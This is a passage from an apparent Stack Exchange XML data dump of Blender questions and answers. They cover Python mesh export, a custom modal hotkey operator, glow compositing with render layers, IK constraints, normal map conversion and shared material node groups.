Tags="&lt;cycles-render-engine&gt;&lt;nodes&gt;&lt;compositor&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="15" ContentLicense="CC BY-SA 4.0" />
  <row Id="3637" PostTypeId="1" AcceptedAnswerId="3657" CreationDate="2013-11-01T19:01:51.200" Score="8" ViewCount="8989" Body="&lt;p&gt;I'm writing a python script to export triangulated meshes from Blender to an openGL application I am working on. I'm using text files, and I want to export my geometry data in the form of vertices, vertices attributes (normals, uv) and indices as in any openGL application.&#xA;For the vertices and normals, I am using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;myFloat = lambda x: '''{0: 0.4f}'''.format( x )&#xA;mesh_file = open(target_path+&quot;.map&quot;, &quot;w&quot;)&#xA;    mesh_file.write(&quot;\n&quot;)&#xA;    for vert in mesh.data.vertices:&#xA;        mesh_file.write('*VERTEX ')&#xA;        for i in (0,1,2):&#xA;            mesh_file.write(myFloat(vert.co[i])+' ')&#xA;        mesh_file.write(&quot;\n&quot;)&#xA;    for vert in mesh.data.vertices:&#xA;        mesh_file.write('*NORMAL ')&#xA;        for i in (0,1,2):&#xA;            mesh_file.write(myFloat(vert.normal.co[i])+' ')&#xA;        mesh_file.write(&quot;\n&quot;)  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How do I get the indices?&lt;/p&gt;&#xA;" OwnerUserId="1232" LastActivityDate="2014-10-10T08:31:58.530" Title="Get indices of vertices of triangulated faces in python" Tags="&lt;python&gt;&lt;export&gt;&lt;vertices&gt;&lt;opengl&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3638" PostTypeId="1" CreationDate="2013-11-01T19:11:45.800" Score="8" ViewCount="691" Body="&lt;p&gt;I started to study blender because I want to perform some simulations on bicycle lighting.&lt;/p&gt;&#xA;&lt;p&gt;My goal is to take a picture of a beam pattern against a wall, then use it as the Bidirectional EMISSION Distribution Function for the light source, rendering its illumination pattern when actually used along a road or other outdoor environment.&lt;/p&gt;&#xA;&lt;p&gt;For example, a typical distribution for a vehicular headlight is as follows:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X8lER.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;Then, I would create a light source with this custom emission pattern (sort of an &amp;quot;UV map&amp;quot; for luminous emission intensity) to render images such as these, with a fair amount of realism (I don't plan to get state-of-the art, 100% physically accurate simulation):&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/LybVF.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;So my questions are:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it possible to do shuch a thing in Blender?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If it is, which concepts should I look for?&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I plan to use Cycles rendering engine.&lt;/p&gt;&#xA;" OwnerUserId="1517" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-11-01T20:23:36.090" Title="Can I use BSDF for the emission pattern of a lamp or light source?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;light&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3639" PostTypeId="2" ParentId="3592" CreationDate="2013-11-01T19:28:48.017" Score="7" Body="&lt;p&gt;&lt;em&gt;After some extensive search it is possible.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.props import IntProperty, FloatProperty&#xA;&#xA;&#xA;class ModalOperator(bpy.types.Operator):&#xA;    &quot;&quot;&quot;Allow GG operator&quot;&quot;&quot;&#xA;    bl_idname = &quot;object.modal_operator&quot;&#xA;    bl_label = &quot;Simple Modal Operator&quot;&#xA;&#xA;    count=0&#xA;&#xA;    def modal(self, context, event):&#xA;        self.count +=1&#xA;        if self.count ==1:&#xA;            bpy.ops.transform.translate('INVOKE_DEFAULT')&#xA;&#xA;        elif event.type == 'G':&#xA;            bpy.ops.transform.rotate('INVOKE_DEFAULT')&#xA;            return {'CANCELLED'}&#xA;&#xA;        elif event.type == 'LEFTMOUSE':&#xA;            return {'FINISHED'}&#xA;&#xA;        elif event.type in {'RIGHTMOUSE', 'ESC'}:&#xA;            return {'CANCELLED'}&#xA;&#xA;        return {'RUNNING_MODAL'}&#xA;&#xA;    def invoke(self, context, event):&#xA;        if context.object:&#xA;&#xA;            context.window_manager.modal_handler_add(self)&#xA;            return {'RUNNING_MODAL'}&#xA;        else:&#xA;            self.report({'WARNING'}, &quot;No active object, could not finish&quot;)&#xA;            return {'CANCELLED'}&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_class(ModalOperator)&#xA;&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_class(ModalOperator)&#xA;&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For the key you chose (here &lt;kbd&gt;G&lt;/kbd&gt;) go to the modal part of the key-binding (here in &lt;code&gt;transform.translate&lt;/code&gt;) and assign &quot;cancel&quot; to the &lt;kbd&gt;G&lt;/kbd&gt; key. &#xA;Activate the Add-on and add a hotkey to your modal operator (for the above given script : &lt;code&gt;object.modal_operator&lt;/code&gt; for &lt;kbd&gt;G&lt;/kbd&gt;).&#xA;It will cancel blender's translate and the add-on will launch your custom operator just after :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The given script calls blender's official rotation, but you can replace it by a custom written operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example for this script :&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5HeT2.png&quot; alt=&quot;key config GG in transform.translate mode&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="3710" LastEditDate="2015-12-29T12:25:11.200" LastActivityDate="2015-12-29T12:25:11.200" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="3640" PostTypeId="2" ParentId="3636" CreationDate="2013-11-01T19:35:08.770" Score="31" Body="&lt;p&gt;Here is what I came up with:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Adding a glow without affecting close parts of the handle:&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;The handle mesh is on scene layer 6&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The  blade and other objects are on scene layer 1&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a material for the blade:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6pAy3.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Transparent&lt;/em&gt; in &lt;em&gt;Render settings &gt; Film&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V44ha.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create two renderlayers, one for the handle and one for the blade:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JL76Pm.png&quot; alt=&quot;enter image description here&quot;&gt; &lt;img src=&quot;https://i.stack.imgur.com/tGXCGm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By setting the handle layer to be masked by the blade, we get the glow to be added behind the nearer parts of the handle.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable the &lt;em&gt;Object index&lt;/em&gt; pass for the blade renderlayer, and set the &lt;em&gt;Pass index&lt;/em&gt; of the blade to &lt;code&gt;1&lt;/code&gt; in &lt;em&gt;Properties &gt; Object &gt; Relations&lt;/em&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Composite nodes: (click for full size)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/4HVFQ.png&quot; rel=&quot;noreferrer&quot; title=&quot;click for full size&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/4HVFQ.png&quot; alt=&quot;composte nodes example image&quot; title=&quot;click for full size&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ctJjF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Reflections and refractions:&lt;/h1&gt;&#xA;&#xA;&lt;h2&gt;Technique one:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Without and with reflections and refractions blurred: (click for full size)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/xxHQI.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/xxHQIm.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/5I751.jpg&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5I751m.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Limitations:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Reflections of reflections of the blade will not have glow applied. (likewise for refractions)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The glow on reflections and refractions will be applied on top of reflections/refractions of the handle.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Here is a &lt;a href=&quot;http://www.pasteall.org/blend/24958&quot; rel=&quot;noreferrer&quot;&gt;Blendfile&lt;/a&gt; for you to inspect.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Technique two:&lt;/h2&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;All objects except for the handle and the blade are visible on layer one&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Refractive or reflective objects are visible on layer 7 as well as layer 1&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Objects that are not refractive or reflective are visible on layer 3 as well as layer 1&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The blade is on layer 2&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The handle is on layer 6&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Transparent&lt;/em&gt; in &lt;em&gt;Render settings &gt; Film&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/V44ha.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create four renderlayers: (click for full size)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/efuEE.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/efuEEm.png&quot; alt=&quot;Blade&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/BbGWa.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/BbGWam.png&quot; alt=&quot;Reflections and refractions&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/og0Oc.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/og0Ocm.png&quot; alt=&quot;Handle&quot;&gt;&lt;/a&gt; &lt;a href=&quot;https://i.stack.imgur.com/zTlvW.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/zTlvWm.png&quot; alt=&quot;Scene&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Composite nodes: (click for full size)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vqvmy.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vqvmy.png&quot; alt=&quot;Composite nodes&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Here is a &lt;a href=&quot;http://pasteall.org/blend/24965&quot; rel=&quot;noreferrer&quot;&gt;blend&lt;/a&gt; for technique two&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Advantages:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Applies glow to inter reflections/refractions&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Limitations:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Materials that are both reflective/refractive and something else (e.g. diffuse) will be blurred. The only way to really solve this with compositing is to put each partially diffuse/reflective object on its own renderlayer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MCLRz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could fix this particular example by adding separate materials for the glossy/diffuse aspects of the shader and separating with the &lt;em&gt;Material index&lt;/em&gt; pass.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;The glow on reflections and refractions will be applied on top of reflections/refractions of the handle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U8oJm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could fix this by adding another renderlayer, but this will use up more render time and it may not be worth it for such a small detail.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-11-06T22:27:48.807" LastActivityDate="2013-11-06T22:27:48.807" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="3641" PostTypeId="2" ParentId="3610" CreationDate="2013-11-01T20:10:30.140" Score="3" Body="&lt;p&gt;To align normal maps to match GLSL I use Photoshop.  By using the &lt;em&gt;Channel Mixer&lt;/em&gt; tool you can swap axis.  Swapping &lt;em&gt;Green&lt;/em&gt; and &lt;em&gt;Blue&lt;/em&gt; is the same as swapping the &lt;em&gt;Y-Axis&lt;/em&gt; and the &lt;em&gt;Z-Axis&lt;/em&gt;.  Then you can also use the &lt;em&gt;Curves&lt;/em&gt; tool to change the direction of an axis which is the same as multiplying the value by -1.0.&lt;/p&gt;&#xA;&lt;p&gt;I've attached a picture that shows a PS &lt;em&gt;Action&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;p&gt;For your situation specifically, I'm not sure which combination of operations that you require but you can grab yourself a copy of &lt;em&gt;xNormal&lt;/em&gt; to help with this.  In the &lt;em&gt;Normal Baking&lt;/em&gt; window there is the option to perform all this swapping with a simple GUI.  You can try what you think will work and then bake the normal map to see if it looks the same as what you need.  Once you know this, you can use either GIMP or PS to do the conversion after you've baked a map in Blender.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pvQJa.jpg&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2015-04-23T12:20:09.860" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3642" PostTypeId="2" ParentId="3638" CreationDate="2013-11-01T20:23:36.090" Score="3" Body="&lt;p&gt;Spot into textured transparent shader will work. like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/CgeQx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Shader&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r2pxm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1456" LastActivityDate="2013-11-01T20:23:36.090" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="3643" PostTypeId="1" AcceptedAnswerId="3670" CreationDate="2013-11-01T21:00:27.307" Score="6" ViewCount="1402" Body="&lt;p&gt;What is the difference between the &lt;em&gt;F SculptDraw&lt;/em&gt; and the &lt;em&gt;F Brush&lt;/em&gt; tools in sculpt mode?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can see they appear the same:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bE9Ne.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-01-02T01:57:47.763" Title="What is the difference between the SculptDraw brush and the Brush tool?" Tags="&lt;sculpting&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3645" PostTypeId="2" ParentId="3631" CreationDate="2013-11-01T23:34:24.130" Score="1" Body="&lt;ul&gt;&#xA;&lt;li&gt;Blender has much more than you need to make a case model.&lt;/li&gt;&#xA;&lt;li&gt;You have to understand Blender good before you're able to work efficiently though.&lt;/li&gt;&#xA;&lt;li&gt;It's same with most programs suitable for this purpose though.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1491" LastActivityDate="2013-11-01T23:34:24.130" CommentCount="3" CommunityOwnedDate="2013-12-02T00:26:04.867" ContentLicense="CC BY-SA 3.0" />
  <row Id="3646" PostTypeId="1" AcceptedAnswerId="3648" CreationDate="2013-11-02T01:01:20.150" Score="13" ViewCount="13433" Body="&lt;p&gt;I need to load some COLLADA files into a program that does not support any transformations (because it does not support scaling). I want to export these objects from a .blend file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to apply the transformations directly on the mesh vertex data in blender before exporting the objects to .dae?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Scale(2,2) * triangle{(0,0), (0,1), (1,1)} =&amp;gt; triangle{(0,0), (0,2), (2,2)}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="997" LastEditorUserId="1363" LastEditDate="2014-02-03T12:48:49.903" LastActivityDate="2014-02-03T12:48:49.903" Title="How to apply transformations directly on mesh data?" Tags="&lt;objects&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="3647" PostTypeId="1" AcceptedAnswerId="3650" CreationDate="2013-11-02T01:06:46.083" Score="2" ViewCount="1317" Body="&lt;p&gt;I have created a model with movable eyes. This uses two separate UV Spheres which are parented to their bones. These bones are then set to an &lt;code&gt;IK bone&lt;/code&gt; in front of them. My issue is when I connect the eye bones to the model's &lt;code&gt;armature&lt;/code&gt;, the model tips forward when in &lt;code&gt;object mode&lt;/code&gt;. In &lt;code&gt;edit mode&lt;/code&gt; there is no issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screen shot of the eye bones not connected to the armature in object mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fQRjA.png&quot; alt=&quot;Not Connected&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a screen shot of the eye bones connected to the armature in object mode:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yX0wB.png&quot; alt=&quot;Connected&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can upload the actual &lt;code&gt;.blend&lt;/code&gt; file if needed.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="55" LastEditDate="2013-11-02T02:56:53.307" LastActivityDate="2013-11-02T02:56:53.307" Title="Connected Bone Parenting Issue with IK Constraint" Tags="&lt;armature&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3648" PostTypeId="2" ParentId="3646" CreationDate="2013-11-02T01:33:18.077" Score="13" Body="&lt;p&gt;You can do this with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;A&lt;/kbd&gt;&lt;em&gt;&gt; &lt;a href=&quot;http://wiki.blender.org/index.php/User:Fade/Doc:2.6/Manual/3D_interaction/Transform_Control/Reset_Object_Transformations#Apply_Options&quot; rel=&quot;noreferrer&quot;&gt;Apply&lt;/a&gt;&lt;/em&gt;, then checking the transforms you want to apply with &lt;kbd&gt;F6&lt;/kbd&gt; or in &lt;em&gt;3D View &gt; Tool shelf (&lt;kbd&gt;N&lt;/kbd&gt;) &gt; Redo menu&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nisNH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-11-02T01:33:18.077" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3649" PostTypeId="1" AcceptedAnswerId="3651" CreationDate="2013-11-02T02:17:13.540" Score="5" ViewCount="853" Body="&lt;p&gt;Is it possible to lock which layers get used in compositing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wStRl.png&quot; alt=&quot;Scene layers&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It get annoying having to re enable all the layers you want to use in the compositor every time you disable a bunch of layers to check just one or two layers to see what is on them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible? If not, is there an easier way to check the contents of layers?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2016-08-13T06:59:40.640" Title="Is there a way to lock rendered layers?" Tags="&lt;interface&gt;&lt;compositor&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3650" PostTypeId="2" ParentId="3647" CreationDate="2013-11-02T02:26:06.777" Score="4" Body="&lt;p&gt;Have you setup the &lt;strong&gt;IK&lt;/strong&gt; constraint's &lt;em&gt;Chain Length&lt;/em&gt; setting? Its default value of 0 means the whole chain of bones, right up to its root which is the head, will be affected by the constraint. You'd need to limit it to whatever length of bones really need the IK behavior, in this case 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YNUL1.png&quot; alt=&quot;a&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to make eye target controller, IMHO a &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Tracking/Damped_Track&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;strong&gt;Damped Track&lt;/strong&gt;&lt;/a&gt; constraint would be more appropriate than &lt;strong&gt;IK&lt;/strong&gt;, because it works on a single bone and very easy to setup correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Each eye's bone need not be connected to the head, BTW. &lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-11-02T02:26:06.777" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3651" PostTypeId="2" ParentId="3649" CreationDate="2013-11-02T02:43:51.037" Score="8" Body="&lt;p&gt;No, you can't lock a scene's layer visibility. To check layer contents, what I usually do is to reserve a separate 3D View area with its own active camera and layer visibility. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can have a 3D View area's camera and layer visibility settings detached from the scene's by toggling off its &lt;strong&gt;Lock Camera and Layers&lt;/strong&gt; button, located to the right of layer buttons:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xDmzp.png&quot; alt=&quot;lock layers&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-11-02T02:43:51.037" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3652" PostTypeId="2" ParentId="3597" CreationDate="2013-11-02T03:58:28.897" Score="3" Body="&lt;p&gt;No, there's no way to pass it to the operator's &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.Operator.html#bpy.types.Operator.modal&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;modal&lt;/code&gt;&lt;/a&gt; method, so you can't mix both event types. Using a &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_1/bpy.types.Timer.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;Timer&lt;/code&gt;&lt;/a&gt; is a better option.&lt;/p&gt;&#xA;" OwnerUserId="185" LastActivityDate="2013-11-02T03:58:28.897" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="3653" PostTypeId="2" ParentId="3611" CreationDate="2013-11-02T04:55:09.763" Score="4" Body="&lt;p&gt;Paint zero weight to effectively remove it (zero weight has no effect)&#xA;If you want to remove the vertex from the group you can run the &quot;Clean&quot; tool, or manually select and remove the vertices from the group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See: Weight Paint Mode -&gt; 3D View Header -&gt; Weights -&gt; Clean&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2017-10-09T02:14:24.143" LastActivityDate="2017-10-09T02:14:24.143" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3654" PostTypeId="1" AcceptedAnswerId="3655" CreationDate="2013-11-02T06:43:27.017" Score="5" ViewCount="1393" Body="&lt;p&gt;For a model I've made I'd like to keep the basic properties of the Cycles material (shader type etc) the same for most of the objects that make up the model, but have a different image mapped to for each object. This is so the (for instance) nacelles have a particular image as part of their material, the main fuselage another etc but all are made of the same basic type of &quot;metal&quot;. I don't want an entirely separate material for every object though.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for this is that I want to be able to tweak how shiny or whatever the whole model is without having to repeat this for every single object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to do this? Am I missing something obvious? I'm Happy to elaborate with specifics if I haven't made my intention clear.&lt;/p&gt;&#xA;" OwnerUserId="1519" LastActivityDate="2013-11-02T07:42:09.143" Title="How can I create a single Cycles texture with a different image for each object it's assigned to?" Tags="&lt;cycles-render-engine&gt;&lt;materials&gt;&lt;compositor&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="3655" PostTypeId="2" ParentId="3654" CreationDate="2013-11-02T07:42:09.143" Score="8" Body="&lt;p&gt;You can use a node group for your settings. The texture is an input to the node group but all other settings are hardcoded into it. Go into the node editor with a material you want to reuse. Select the nodes you want to make common (for instance, hold down shift while selecting). Press &lt;kbd&gt;Ctrl - G&lt;/kbd&gt; to make them a group. You are now seeing the internals of your group. Press &lt;kbd&gt;tab&lt;/kbd&gt; to close it. Press &lt;kbd&gt;tab&lt;/kbd&gt; again to edit it. It is sort of edit mode for node groups. It looks like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8g31l.png&quot; alt=&quot;Node group beeing edited&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To the left you see inputs and to the right outputs. There are empty circles on the input and output nodes. Drag from or to these to add more parameters. There is also an editor for this to the right in the properties panel. Here you can add, remove, reorder and rename parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you tab out you can rename your group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now that you have your group. You can use it in other materials. When adding a node in the node editor, your group will show up under groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yw7aM.png&quot; alt=&quot;Add node group&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I have used my SimpleMaterial on two cubes. One of them got a checkered texture for color and the other got a solid color:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HsD52.png&quot; alt=&quot;Two cubes and some nodes&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2013-11-02T07:42:09.143" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
